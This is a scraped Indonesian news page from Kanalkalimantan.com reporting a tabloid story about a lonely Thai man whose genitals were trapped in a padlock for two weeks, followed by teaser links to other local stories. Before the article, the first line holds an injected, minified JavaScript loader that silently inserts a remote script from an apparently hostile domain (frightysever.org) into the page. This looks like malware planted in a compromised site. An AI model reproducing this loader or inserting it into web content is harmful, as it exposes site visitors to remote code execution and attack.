(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Seorang pria di Thailand harus mengalami kerusakan parah pada bagian alat kelaminnya setelah terjepit gembok kecil selama dua minggu, ia mengaku melakukan hal tersebut karena kesepian.
Menyadur Daily Mail, Sabtu (17/7/2021) pria 38 tahun tersebut harus dilarikan ke rumah sakit setelah alat kelaminnya terjepit di sebuah gembok kecil selama lebih dari dua minggu lamanya.
Sebelum menerima perawatan medis, dia sempat mencoba untuk melepas gembok kecil tersebut namun gagal karena kuncinya hilang.
Setelah gagal mengeluarkan gembok tersebut, alat kelamin bujangan tersebut mulai infeksi. Ia tak sanggup menahan rasa sakit sehingga dia dilarikan ke rumah sakit di Bangkok, Thailand pada Kamis (15/7/2021).
Ibu pria itu mengatakan kepada petugas medis bahwa putranya suka memasukkan alat kelaminnya ke sebuah lubang yang kecil.
Sang ibu mengatakan kepada petugas medis bahwa putranya tidak punya pacar dan merasa bosan karena dia tinggal di rumah selama pandemi Covid-19.
“Anak saya adalah seseorang yang tertutup dan dia tidak punya pacar. Dia tinggal di rumah selama pandemi karena khawatir jika keluar,” ujar ibu pria tersebut.
Baca juga: KONYOL. Pria Hirup Nafas Pasien Diduga Positif Covid-19, Tak Lama Foto Duka Cita Beredar…
“Dia mengatakan kepada saya bahwa dia melakukan ini karena dia bosan dan dia suka memasukkan ‘barangnya’ ke lubang-lubang kecil. Saya marah padanya karena mempermalukan saya seperti ini dan saya sudah mengatakan kepadanya untuk tidak melakukannya lagi.” sambungnya.
Thongchai Donson, seorang petugas medis yang merawat pria tersebut mengatakan cederanya yang dialaminya parah dan dilarikan ke rumah sakit.
“Kami menerima panggilan darurat dan tidak mengetahui detail lengkapnya, jadi kami terkejut ketika kami tiba. Itu lebih buruk dari yang kita duga. Jika gembok dibiarkan lebih lama, infeksinya bisa sangat parah dan penisnya bisa,” jelas Thongchai.
Baca juga: Akhirnya, Presiden Jokowi Batalkan Vaksin Covid-19 Berbayar untuk Perorangan
Meskipun gembok berhasil dilepaskan dari penisnya, petugas medis mengatakan mungkin ada kerusakan permanen pada alat kelamin karena luka yang dialaminya.
“Kami tidak bisa menyebutkan nama pria itu tetapi kami ingin memberitahu kepada publik sebagai pencegah agar orang lain tidak melakukan hal semacam ini. Itu bisa sangat berbahaya dan merusak tubuh.” tegas Thongchai. (Suara.com)
Editor: kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.